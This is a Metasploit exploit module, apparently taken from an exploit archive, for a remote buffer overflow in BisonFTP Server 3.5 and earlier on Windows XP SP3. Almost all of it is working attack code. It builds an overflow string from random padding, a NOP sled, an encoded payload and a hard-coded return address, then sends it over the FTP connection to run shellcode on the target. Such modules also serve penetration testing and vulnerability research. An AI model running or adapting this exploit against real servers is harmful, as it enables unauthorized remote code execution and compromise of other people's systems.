BisonFTP 3.5 Buffer Overflow

`##############################################################################  
#  
# Title : BisonFTP Server Remote Buffer Overflow Exploit  
# Author : Veerendra G.G SecPod Technologies (www.secpod.com)  
# Advisory : http://secpod.org/blog/?p=384  
# http://secpod.org/msf/bison_server_bof.rb  
# Version : BisonFTP Server <= v3.5  
# Date : 09/07/2011  
#  
###############################################################################  
  
##  
# $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BisonFTP Server Remote Buffer Overflow Vulnerability',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability  
found in the BisonFTP Server <= v3.5.  
},  
'Author' =>  
[  
'localh0t', # Initial PoC  
'veerendragg @ SecPod', # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 1.0 $',  
'References' =>  
[  
[ 'BID', '49109'],  
[ 'CVE', '1999-1510'],  
[ 'URL', 'http://secpod.org/blog/?p=384'],  
[ 'URL', 'http://www.exploit-db.com/exploits/17649'],  
[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 388,  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3 EN',  
{  
'Ret' => 0x0040333f, # call edx from Bisonftp.exe  
'Offset' => 1432  
}  
],  
],  
'DisclosureDate' => 'Aug 07 2011',  
'DefaultTarget' => 0))  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")  
sploit = rand_text_alpha(1028) ## Random Buffer  
sploit << "\x90" * 16 ## Padding  
sploit << payload.encoded ## Encoded Payload  
sploit << "\x90" * (388 - payload.encoded.length) ## More Nops  
sploit << [target.ret].pack('V') ## Return Address  
sploit << rand_text_alpha(39) ## MOre Buffer  
  
print_status("Sending payload...")  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
  
`